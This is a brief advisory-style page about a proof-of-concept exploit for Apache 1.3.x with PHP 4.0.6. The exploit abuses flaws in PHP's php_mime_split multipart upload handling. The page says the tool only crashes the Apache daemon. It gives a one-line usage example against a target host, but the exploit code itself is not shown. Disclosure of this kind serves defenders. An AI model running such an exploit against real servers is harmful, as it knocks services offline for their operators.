Apache & PHP Proof of Concept Exploit


Summary
This is a proof of concept exploit for Apache/1.3.x + php_4.0.6. This code exploit multipart/form-data POST requests bug. This code only crashes the Apache daemon; it does not open any shell or execute code in the remote server.
PHP supports multipart/form-data POST requests (as described in RFC1867) known as POST fileuploads. Unfortunately there are several flaws in the php_mime_split function that could be used by an attacker to execute arbitrary code.

Example:
$ ./apache_php host 80 hi.php
$ cat /www/logs/error_log
